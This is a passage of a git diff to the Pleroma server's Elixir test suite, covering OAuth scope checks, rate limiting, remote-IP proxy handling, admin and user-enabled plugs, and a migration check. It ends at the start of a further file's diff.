- test "proceeds with no op if `token.scopes` fulfill specified 'any of' conditions", %{
- conn: conn
- } do
+ test "if `token.scopes` fulfills specified 'any of' conditions, " <>
+ "proceeds with no op",
+ %{conn: conn} do
token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user)
conn =
@@ -35,9 +31,9 @@ defmodule Pleroma.Plugs.OAuthScopesPlugTest do
assert conn.assigns[:user]
end
- test "proceeds with no op if `token.scopes` fulfill specified 'all of' conditions", %{
- conn: conn
- } do
+ test "if `token.scopes` fulfills specified 'all of' conditions, " <>
+ "proceeds with no op",
+ %{conn: conn} do
token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user)
conn =
@@ -50,73 +46,187 @@ defmodule Pleroma.Plugs.OAuthScopesPlugTest do
assert conn.assigns[:user]
end
- test "proceeds with cleared `assigns[:user]` if `token.scopes` doesn't fulfill specified 'any of' conditions " <>
- "and `fallback: :proceed_unauthenticated` option is specified",
- %{conn: conn} do
- token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user)
+ describe "with `fallback: :proceed_unauthenticated` option, " do
+ test "if `token.scopes` doesn't fulfill specified conditions, " <>
+ "clears :user and :token assigns and calls EnsurePublicOrAuthenticatedPlug",
+ %{conn: conn} do
+ user = insert(:user)
+ token1 = insert(:oauth_token, scopes: ["read", "write"], user: user)
+
+ for token <- [token1, nil], op <- [:|, :&] do
+ ret_conn =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{
+ scopes: ["follow"],
+ op: op,
+ fallback: :proceed_unauthenticated
+ })
+
+ refute ret_conn.halted
+ refute ret_conn.assigns[:user]
+ refute ret_conn.assigns[:token]
+
+ assert called(EnsurePublicOrAuthenticatedPlug.call(ret_conn, :_))
+ end
+ end
+
+ test "with :skip_instance_privacy_check option, " <>
+ "if `token.scopes` doesn't fulfill specified conditions, " <>
+ "clears :user and :token assigns and does NOT call EnsurePublicOrAuthenticatedPlug",
+ %{conn: conn} do
+ user = insert(:user)
+ token1 = insert(:oauth_token, scopes: ["read:statuses", "write"], user: user)
+
+ for token <- [token1, nil], op <- [:|, :&] do
+ ret_conn =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{
+ scopes: ["read"],
+ op: op,
+ fallback: :proceed_unauthenticated,
+ skip_instance_privacy_check: true
+ })
+
+ refute ret_conn.halted
+ refute ret_conn.assigns[:user]
+ refute ret_conn.assigns[:token]
+
+ refute called(EnsurePublicOrAuthenticatedPlug.call(ret_conn, :_))
+ end
+ end
+ end
- conn =
- conn
- |> assign(:user, token.user)
- |> assign(:token, token)
- |> OAuthScopesPlug.call(%{scopes: ["follow"], fallback: :proceed_unauthenticated})
+ describe "without :fallback option, " do
+ test "if `token.scopes` does not fulfill specified 'any of' conditions, " <>
+ "returns 403 and halts",
+ %{conn: conn} do
+ for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do
+ any_of_scopes = ["follow", "push"]
+
+ ret_conn =
+ conn
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{scopes: any_of_scopes})
+
+ assert ret_conn.halted
+ assert 403 == ret_conn.status
+
+ expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, " | ")}."
+ assert Jason.encode!(%{error: expected_error}) == ret_conn.resp_body
+ end
+ end
+
+ test "if `token.scopes` does not fulfill specified 'all of' conditions, " <>
+ "returns 403 and halts",
+ %{conn: conn} do
+ for token <- [insert(:oauth_token, scopes: ["read", "write"]), nil] do
+ token_scopes = (token && token.scopes) || []
+ all_of_scopes = ["write", "follow"]
+
+ conn =
+ conn
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&})
+
+ assert conn.halted
+ assert 403 == conn.status
+
+ expected_error =
+ "Insufficient permissions: #{Enum.join(all_of_scopes -- token_scopes, " & ")}."
+
+ assert Jason.encode!(%{error: expected_error}) == conn.resp_body
+ end
+ end
+ end
- refute conn.halted
- refute conn.assigns[:user]
+ describe "with hierarchical scopes, " do
+ test "if `token.scopes` fulfills specified 'any of' conditions, " <>
+ "proceeds with no op",
+ %{conn: conn} do
+ token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user)
+
+ conn =
+ conn
+ |> assign(:user, token.user)
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{scopes: ["read:something"]})
+
+ refute conn.halted
+ assert conn.assigns[:user]
+ end
+
+ test "if `token.scopes` fulfills specified 'all of' conditions, " <>
+ "proceeds with no op",
+ %{conn: conn} do
+ token = insert(:oauth_token, scopes: ["scope1", "scope2", "scope3"]) |> Repo.preload(:user)
+
+ conn =
+ conn
+ |> assign(:user, token.user)
+ |> assign(:token, token)
+ |> OAuthScopesPlug.call(%{scopes: ["scope1:subscope", "scope2:subscope"], op: :&})
+
+ refute conn.halted
+ assert conn.assigns[:user]
+ end
end
- test "proceeds with cleared `assigns[:user]` if `token.scopes` doesn't fulfill specified 'all of' conditions " <>
- "and `fallback: :proceed_unauthenticated` option is specified",
- %{conn: conn} do
- token = insert(:oauth_token, scopes: ["read", "write"]) |> Repo.preload(:user)
+ describe "filter_descendants/2" do
+ test "filters scopes which directly match or are ancestors of supported scopes" do
+ f = fn scopes, supported_scopes ->
+ OAuthScopesPlug.filter_descendants(scopes, supported_scopes)
+ end
- conn =
- conn
- |> assign(:user, token.user)
- |> assign(:token, token)
- |> OAuthScopesPlug.call(%{
- scopes: ["read", "follow"],
- op: :&,
- fallback: :proceed_unauthenticated
- })
+ assert f.(["read", "follow"], ["write", "read"]) == ["read"]
- refute conn.halted
- refute conn.assigns[:user]
+ assert f.(["read", "write:something", "follow"], ["write", "read"]) ==
+ ["read", "write:something"]
+
+ assert f.(["admin:read"], ["write", "read"]) == []
+
+ assert f.(["admin:read"], ["write", "admin"]) == ["admin:read"]
+ end
end
- test "returns 403 and halts in case of no :fallback option and `token.scopes` not fulfilling specified 'any of' conditions",
- %{conn: conn} do
- token = insert(:oauth_token, scopes: ["read", "write"])
- any_of_scopes = ["follow"]
+ describe "transform_scopes/2" do
+ clear_config([:auth, :enforce_oauth_admin_scope_usage])
- conn =
- conn
- |> assign(:token, token)
- |> OAuthScopesPlug.call(%{scopes: any_of_scopes})
+ setup do
+ {:ok, %{f: &OAuthScopesPlug.transform_scopes/2}}
+ end
- assert conn.halted
- assert 403 == conn.status
+ test "with :admin option, prefixes all requested scopes with `admin:` " <>
+ "and [optionally] keeps only prefixed scopes, " <>
+ "depending on `[:auth, :enforce_oauth_admin_scope_usage]` setting",
+ %{f: f} do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false)
- expected_error = "Insufficient permissions: #{Enum.join(any_of_scopes, ", ")}."
- assert Jason.encode!(%{error: expected_error}) == conn.resp_body
- end
+ assert f.(["read"], %{admin: true}) == ["admin:read", "read"]
- test "returns 403 and halts in case of no :fallback option and `token.scopes` not fulfilling specified 'all of' conditions",
- %{conn: conn} do
- token = insert(:oauth_token, scopes: ["read", "write"])
- all_of_scopes = ["write", "follow"]
+ assert f.(["read", "write"], %{admin: true}) == [
+ "admin:read",
+ "read",
+ "admin:write",
+ "write"
+ ]
- conn =
- conn
- |> assign(:token, token)
- |> OAuthScopesPlug.call(%{scopes: all_of_scopes, op: :&})
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true)
- assert conn.halted
- assert 403 == conn.status
+ assert f.(["read:accounts"], %{admin: true}) == ["admin:read:accounts"]
- expected_error =
- "Insufficient permissions: #{Enum.join(all_of_scopes -- token.scopes, ", ")}."
+ assert f.(["read", "write:reports"], %{admin: true}) == [
+ "admin:read",
+ "admin:write:reports"
+ ]
+ end
- assert Jason.encode!(%{error: expected_error}) == conn.resp_body
+ test "with no supported options, returns unmodified scopes", %{f: f} do
+ assert f.(["read"], %{}) == ["read"]
+ assert f.(["read", "write"], %{}) == ["read", "write"]
+ end
end
end
diff --git a/test/plugs/rate_limiter_test.exs b/test/plugs/rate_limiter_test.exs
index 395095079..78f1ea9e4 100644
--- a/test/plugs/rate_limiter_test.exs
+++ b/test/plugs/rate_limiter_test.exs
@@ -12,163 +12,186 @@ defmodule Pleroma.Plugs.RateLimiterTest do
# Note: each example must work with separate buckets in order to prevent concurrency issues
- test "init/1" do
- limiter_name = :test_init
- Pleroma.Config.put([:rate_limit, limiter_name], {1, 1})
+ describe "config" do
+ test "config is required for plug to work" do
+ limiter_name = :test_init
+ Pleroma.Config.put([:rate_limit, limiter_name], {1, 1})
- assert {limiter_name, {1, 1}, []} == RateLimiter.init(limiter_name)
- assert nil == RateLimiter.init(:foo)
- end
-
- test "ip/1" do
- assert "127.0.0.1" == RateLimiter.ip(%{remote_ip: {127, 0, 0, 1}})
- end
+ assert %{limits: {1, 1}, name: :test_init, opts: [name: :test_init]} ==
+ RateLimiter.init(name: limiter_name)
- test "it restricts by opts" do
- limiter_name = :test_opts
- scale = 1000
- limit = 5
+ assert nil == RateLimiter.init(name: :foo)
+ end
- Pleroma.Config.put([:rate_limit, limiter_name], {scale, limit})
+ test "it restricts based on config values" do
+ limiter_name = :test_opts
+ scale = 80
+ limit = 5
- opts = RateLimiter.init(limiter_name)
- conn = conn(:get, "/")
- bucket_name = "#{limiter_name}:#{RateLimiter.ip(conn)}"
+ Pleroma.Config.put([:rate_limit, limiter_name], {scale, limit})
- conn = RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ opts = RateLimiter.init(name: limiter_name)
+ conn = conn(:get, "/")
- conn = RateLimiter.call(conn, opts)
- assert {2, 3, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ for i <- 1..5 do
+ conn = RateLimiter.call(conn, opts)
+ assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ Process.sleep(10)
+ end
- conn = RateLimiter.call(conn, opts)
- assert {3, 2, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ conn = RateLimiter.call(conn, opts)
+ assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
+ assert conn.halted
- conn = RateLimiter.call(conn, opts)
- assert {4, 1, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ Process.sleep(50)
- conn = RateLimiter.call(conn, opts)
- assert {5, 0, to_reset, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ conn = conn(:get, "/")
- conn = RateLimiter.call(conn, opts)
+ conn = RateLimiter.call(conn, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
- assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
- assert conn.halted
+ refute conn.status == Plug.Conn.Status.code(:too_many_requests)
+ refute conn.resp_body
+ refute conn.halted
+ end
+ end
- Process.sleep(to_reset)
+ describe "options" do
+ test "`bucket_name` option overrides default bucket name" do
+ limiter_name = :test_bucket_name
- conn = conn(:get, "/")
+ Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5})
- conn = RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ base_bucket_name = "#{limiter_name}:group1"
+ opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name)
- refute conn.status == Plug.Conn.Status.code(:too_many_requests)
- refute conn.resp_body
- refute conn.halted
- end
+ conn = conn(:get, "/")
- test "`bucket_name` option overrides default bucket name" do
- limiter_name = :test_bucket_name
- scale = 1000
- limit = 5
+ RateLimiter.call(conn, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, opts)
+ assert {:err, :not_found} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ end
- Pleroma.Config.put([:rate_limit, limiter_name], {scale, limit})
- base_bucket_name = "#{limiter_name}:group1"
- opts = RateLimiter.init({limiter_name, bucket_name: base_bucket_name})
+ test "`params` option allows different queries to be tracked independently" do
+ limiter_name = :test_params
+ Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5})
- conn = conn(:get, "/")
- default_bucket_name = "#{limiter_name}:#{RateLimiter.ip(conn)}"
- customized_bucket_name = "#{base_bucket_name}:#{RateLimiter.ip(conn)}"
+ opts = RateLimiter.init(name: limiter_name, params: ["id"])
- RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(customized_bucket_name, scale, limit)
- assert {0, 5, _, _, _} = ExRated.inspect_bucket(default_bucket_name, scale, limit)
- end
+ conn = conn(:get, "/?id=1")
+ conn = Plug.Conn.fetch_query_params(conn)
+ conn_2 = conn(:get, "/?id=2")
- test "`params` option appends specified params' values to bucket name" do
- limiter_name = :test_params
- scale = 1000
- limit = 5
+ RateLimiter.call(conn, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ assert {0, 5} = RateLimiter.inspect_bucket(conn_2, limiter_name, opts)
+ end
- Pleroma.Config.put([:rate_limit, limiter_name], {scale, limit})
- opts = RateLimiter.init({limiter_name, params: ["id"]})
- id = "1"
+ test "it supports combination of options modifying bucket name" do
+ limiter_name = :test_options_combo
+ Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5})
- conn = conn(:get, "/?id=#{id}")
- conn = Plug.Conn.fetch_query_params(conn)
+ base_bucket_name = "#{limiter_name}:group1"
+ opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name, params: ["id"])
+ id = "100"
- default_bucket_name = "#{limiter_name}:#{RateLimiter.ip(conn)}"
- parametrized_bucket_name = "#{limiter_name}:#{id}:#{RateLimiter.ip(conn)}"
+ conn = conn(:get, "/?id=#{id}")
+ conn = Plug.Conn.fetch_query_params(conn)
+ conn_2 = conn(:get, "/?id=#{101}")
- RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(parametrized_bucket_name, scale, limit)
- assert {0, 5, _, _, _} = ExRated.inspect_bucket(default_bucket_name, scale, limit)
+ RateLimiter.call(conn, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, opts)
+ assert {0, 5} = RateLimiter.inspect_bucket(conn_2, base_bucket_name, opts)
+ end
end
- test "it supports combination of options modifying bucket name" do
- limiter_name = :test_options_combo
- scale = 1000
- limit = 5
+ describe "unauthenticated users" do
+ test "are restricted based on remote IP" do
+ limiter_name = :test_unauthenticated
+ Pleroma.Config.put([:rate_limit, limiter_name], [{1000, 5}, {1, 10}])
+
+ opts = RateLimiter.init(name: limiter_name)
+
+ conn = %{conn(:get, "/") | remote_ip: {127, 0, 0, 2}}
+ conn_2 = %{conn(:get, "/") | remote_ip: {127, 0, 0, 3}}
- Pleroma.Config.put([:rate_limit, limiter_name], {scale, limit})
- base_bucket_name = "#{limiter_name}:group1"
- opts = RateLimiter.init({limiter_name, bucket_name: base_bucket_name, params: ["id"]})
- id = "100"
+ for i <- 1..5 do
+ conn = RateLimiter.call(conn, opts)
+ assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ refute conn.halted
+ end
- conn = conn(:get, "/?id=#{id}")
- conn = Plug.Conn.fetch_query_params(conn)
+ conn = RateLimiter.call(conn, opts)
- default_bucket_name = "#{limiter_name}:#{RateLimiter.ip(conn)}"
- parametrized_bucket_name = "#{base_bucket_name}:#{id}:#{RateLimiter.ip(conn)}"
+ assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
+ assert conn.halted
- RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(parametrized_bucket_name, scale, limit)
- assert {0, 5, _, _, _} = ExRated.inspect_bucket(default_bucket_name, scale, limit)
+ conn_2 = RateLimiter.call(conn_2, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, opts)
+
+ refute conn_2.status == Plug.Conn.Status.code(:too_many_requests)
+ refute conn_2.resp_body
+ refute conn_2.halted
+ end
end
- test "optional limits for authenticated users" do
- limiter_name = :test_authenticated
- Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)
+ describe "authenticated users" do
+ setup do
+ Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)
+
+ :ok
+ end
- scale = 1000
- limit = 5
- Pleroma.Config.put([:rate_limit, limiter_name], [{1, 10}, {scale, limit}])
+ test "can have limits seperate from unauthenticated connections" do
+ limiter_name = :test_authenticated
- opts = RateLimiter.init(limiter_name)
+ scale = 50
+ limit = 5
+ Pleroma.Config.put([:rate_limit, limiter_name], [{1000, 1}, {scale, limit}])
- user = insert(:user)
- conn = conn(:get, "/") |> assign(:user, user)
- bucket_name = "#{limiter_name}:#{user.id}"
+ opts = RateLimiter.init(name: limiter_name)
- conn = RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ user = insert(:user)
+ conn = conn(:get, "/") |> assign(:user, user)
- conn = RateLimiter.call(conn, opts)
- assert {2, 3, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ for i <- 1..5 do
+ conn = RateLimiter.call(conn, opts)
+ assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ refute conn.halted
+ end
- conn = RateLimiter.call(conn, opts)
- assert {3, 2, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ conn = RateLimiter.call(conn, opts)
- conn = RateLimiter.call(conn, opts)
- assert {4, 1, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
+ assert conn.halted
+ end
- conn = RateLimiter.call(conn, opts)
- assert {5, 0, to_reset, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ test "diffrerent users are counted independently" do
+ limiter_name = :test_authenticated
+ Pleroma.Config.put([:rate_limit, limiter_name], [{1, 10}, {1000, 5}])
- conn = RateLimiter.call(conn, opts)
+ opts = RateLimiter.init(name: limiter_name)
- assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
- assert conn.halted
+ user = insert(:user)
+ conn = conn(:get, "/") |> assign(:user, user)
- Process.sleep(to_reset)
+ user_2 = insert(:user)
+ conn_2 = conn(:get, "/") |> assign(:user, user_2)
- conn = conn(:get, "/") |> assign(:user, user)
+ for i <- 1..5 do
+ conn = RateLimiter.call(conn, opts)
+ assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, opts)
+ end
- conn = RateLimiter.call(conn, opts)
- assert {1, 4, _, _, _} = ExRated.inspect_bucket(bucket_name, scale, limit)
+ conn = RateLimiter.call(conn, opts)
+ assert %{"error" => "Throttled"} = Phoenix.ConnTest.json_response(conn, :too_many_requests)
+ assert conn.halted
- refute conn.status == Plug.Conn.Status.code(:too_many_requests)
- refute conn.resp_body
- refute conn.halted
+ conn_2 = RateLimiter.call(conn_2, opts)
+ assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, opts)
+ refute conn_2.status == Plug.Conn.Status.code(:too_many_requests)
+ refute conn_2.resp_body
+ refute conn_2.halted
+ end
end
end
diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs
new file mode 100644
index 000000000..d120c588b
--- /dev/null
+++ b/test/plugs/remote_ip_test.exs
@@ -0,0 +1,72 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Plugs.RemoteIpTest do
+ use ExUnit.Case, async: true
+ use Plug.Test
+
+ alias Pleroma.Plugs.RemoteIp
+
+ test "disabled" do
+ Pleroma.Config.put(RemoteIp, enabled: false)
+
+ %{remote_ip: remote_ip} = conn(:get, "/")
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == remote_ip
+ end
+
+ test "enabled" do
+ Pleroma.Config.put(RemoteIp, enabled: true)
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+
+ test "custom headers" do
+ Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"])
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ refute conn.remote_ip == {1, 1, 1, 1}
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("cf-connecting-ip", "1.1.1.1")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+
+ test "custom proxies" do
+ Pleroma.Config.put(RemoteIp, enabled: true)
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
+ |> RemoteIp.call(nil)
+
+ refute conn.remote_ip == {1, 1, 1, 1}
+
+ Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"])
+
+ conn =
+ conn(:get, "/")
+ |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2")
+ |> RemoteIp.call(nil)
+
+ assert conn.remote_ip == {1, 1, 1, 1}
+ end
+end
diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs
new file mode 100644
index 000000000..27c026fdd
--- /dev/null
+++ b/test/plugs/set_format_plug_test.exs
@@ -0,0 +1,38 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Plugs.SetFormatPlugTest do
+ use ExUnit.Case, async: true
+ use Plug.Test
+
+ alias Pleroma.Plugs.SetFormatPlug
+
+ test "set format from params" do
+ conn =
+ :get
+ |> conn("/cofe?_format=json")
+ |> SetFormatPlug.call([])
+
+ assert %{format: "json"} == conn.assigns
+ end
+
+ test "set format from header" do
+ conn =
+ :get
+ |> conn("/cofe")
+ |> put_private(:phoenix_format, "xml")
+ |> SetFormatPlug.call([])
+
+ assert %{format: "xml"} == conn.assigns
+ end
+
+ test "doesn't set format" do
+ conn =
+ :get
+ |> conn("/cofe")
+ |> SetFormatPlug.call([])
+
+ refute conn.assigns[:format]
+ end
+end
diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs
index b6c4c1cea..0aaeedc1e 100644
--- a/test/plugs/set_locale_plug_test.exs
+++ b/test/plugs/set_locale_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetLocalePlugTest do
diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs
index 49cf5396a..5ba963139 100644
--- a/test/plugs/uploaded_media_plug_test.exs
+++ b/test/plugs/uploaded_media_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploadedMediaPlugTest do
diff --git a/test/plugs/user_enabled_plug_test.exs b/test/plugs/user_enabled_plug_test.exs
index c0fafcab1..a4035bf0e 100644
--- a/test/plugs/user_enabled_plug_test.exs
+++ b/test/plugs/user_enabled_plug_test.exs
@@ -16,8 +16,25 @@ defmodule Pleroma.Plugs.UserEnabledPlugTest do
assert ret_conn == conn
end
+ test "with a user that's not confirmed and a config requiring confirmation, it removes that user",
+ %{conn: conn} do
+ old = Pleroma.Config.get([:instance, :account_activation_required])
+ Pleroma.Config.put([:instance, :account_activation_required], true)
+
+ user = insert(:user, confirmation_pending: true)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> UserEnabledPlug.call(%{})
+
+ assert conn.assigns.user == nil
+
+ Pleroma.Config.put([:instance, :account_activation_required], old)
+ end
+
test "with a user that is deactivated, it removes that user", %{conn: conn} do
- user = insert(:user, info: %{deactivated: true})
+ user = insert(:user, deactivated: true)
conn =
conn
diff --git a/test/plugs/user_is_admin_plug_test.exs b/test/plugs/user_is_admin_plug_test.exs
index 9e05fff18..bc6fcd73c 100644
--- a/test/plugs/user_is_admin_plug_test.exs
+++ b/test/plugs/user_is_admin_plug_test.exs
@@ -8,36 +8,116 @@ defmodule Pleroma.Plugs.UserIsAdminPlugTest do
alias Pleroma.Plugs.UserIsAdminPlug
import Pleroma.Factory
- test "accepts a user that is admin" do
- user = insert(:user, info: %{is_admin: true})
+ describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do
+ clear_config([:auth, :enforce_oauth_admin_scope_usage]) do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], false)
+ end
- conn =
- build_conn()
- |> assign(:user, user)
+ test "accepts a user that is an admin" do
+ user = insert(:user, is_admin: true)
- ret_conn =
- conn
- |> UserIsAdminPlug.call(%{})
+ conn = assign(build_conn(), :user, user)
- assert conn == ret_conn
- end
+ ret_conn = UserIsAdminPlug.call(conn, %{})
+
+ assert conn == ret_conn
+ end
+
+ test "denies a user that isn't an admin" do
+ user = insert(:user)
- test "denies a user that isn't admin" do
- user = insert(:user)
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> UserIsAdminPlug.call(%{})
- conn =
- build_conn()
- |> assign(:user, user)
- |> UserIsAdminPlug.call(%{})
+ assert conn.status == 403
+ end
- assert conn.status == 403
+ test "denies when a user isn't set" do
+ conn = UserIsAdminPlug.call(build_conn(), %{})
+
+ assert conn.status == 403
+ end
end
- test "denies when a user isn't set" do
- conn =
- build_conn()
- |> UserIsAdminPlug.call(%{})
+ describe "with [:auth, :enforce_oauth_admin_scope_usage]," do
+ clear_config([:auth, :enforce_oauth_admin_scope_usage]) do
+ Pleroma.Config.put([:auth, :enforce_oauth_admin_scope_usage], true)
+ end
+
+ setup do
+ admin_user = insert(:user, is_admin: true)
+ non_admin_user = insert(:user, is_admin: false)
+ blank_user = nil
+
+ {:ok, %{users: [admin_user, non_admin_user, blank_user]}}
+ end
+
+ test "if token has any of admin scopes, accepts a user that is an admin", %{conn: conn} do
+ user = insert(:user, is_admin: true)
+ token = insert(:oauth_token, user: user, scopes: ["admin:something"])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+
+ ret_conn = UserIsAdminPlug.call(conn, %{})
+
+ assert conn == ret_conn
+ end
+
+ test "if token has any of admin scopes, denies a user that isn't an admin", %{conn: conn} do
+ user = insert(:user, is_admin: false)
+ token = insert(:oauth_token, user: user, scopes: ["admin:something"])
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> UserIsAdminPlug.call(%{})
+
+ assert conn.status == 403
+ end
+
+ test "if token has any of admin scopes, denies when a user isn't set", %{conn: conn} do
+ token = insert(:oauth_token, scopes: ["admin:something"])
+
+ conn =
+ conn
+ |> assign(:user, nil)
+ |> assign(:token, token)
+ |> UserIsAdminPlug.call(%{})
+
+ assert conn.status == 403
+ end
+
+ test "if token lacks admin scopes, denies users regardless of is_admin flag",
+ %{users: users} do
+ for user <- users do
+ token = insert(:oauth_token, user: user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> assign(:token, token)
+ |> UserIsAdminPlug.call(%{})
+
+ assert conn.status == 403
+ end
+ end
+
+ test "if token is missing, denies users regardless of is_admin flag", %{users: users} do
+ for user <- users do
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> assign(:token, nil)
+ |> UserIsAdminPlug.call(%{})
- assert conn.status == 403
+ assert conn.status == 403
+ end
+ end
end
end
diff --git a/test/repo_test.exs b/test/repo_test.exs
index 85b64d4d1..5526b0327 100644
--- a/test/repo_test.exs
+++ b/test/repo_test.exs
@@ -4,7 +4,10 @@
defmodule Pleroma.RepoTest do
use Pleroma.DataCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
+ import Mock
+
alias Pleroma.User
describe "find_resource/1" do
@@ -46,4 +49,44 @@ defmodule Pleroma.RepoTest do
assert Repo.get_assoc(token, :user) == {:error, :not_found}
end
end
+
+ describe "check_migrations_applied!" do
+ setup_with_mocks([
+ {Ecto.Migrator, [],
+ [
+ with_repo: fn repo, fun -> passthrough([repo, fun]) end,
+ migrations: fn Pleroma.Repo ->
+ [
+ {:up, 20_191_128_153_944, "fix_missing_following_count"},
+ {:up, 20_191_203_043_610, "create_report_notes"},
+ {:down, 20_191_220_174_645, "add_scopes_to_pleroma_feo_auth_records"}
+ ]
+ end
+ ]}
+ ]) do
+ :ok
+ end
+
+ test "raises if it detects unapplied migrations" do
+ assert_raise Pleroma.Repo.UnappliedMigrationsError, fn ->
+ capture_log(&Repo.check_migrations_applied!/0)
+ end
+ end
+
+ test "doesn't do anything if disabled" do
+ disable_migration_check =
+ Pleroma.Config.get([:i_am_aware_this_may_cause_data_loss, :disable_migration_check])
+
+ Pleroma.Config.put([:i_am_aware_this_may_cause_data_loss, :disable_migration_check], true)
+
+ on_exit(fn ->
+ Pleroma.Config.put(
+ [:i_am_aware_this_may_cause_data_loss, :disable_migration_check],
+ disable_migration_check
+ )
+ end)
+
+ assert :ok == Repo.check_migrations_applied!()
+ end
+ end
end
diff --git a/test/reverse_proxy_test.exs b/test/reverse_proxy_test.exs
index f4b7d6add..0672f57db 100644
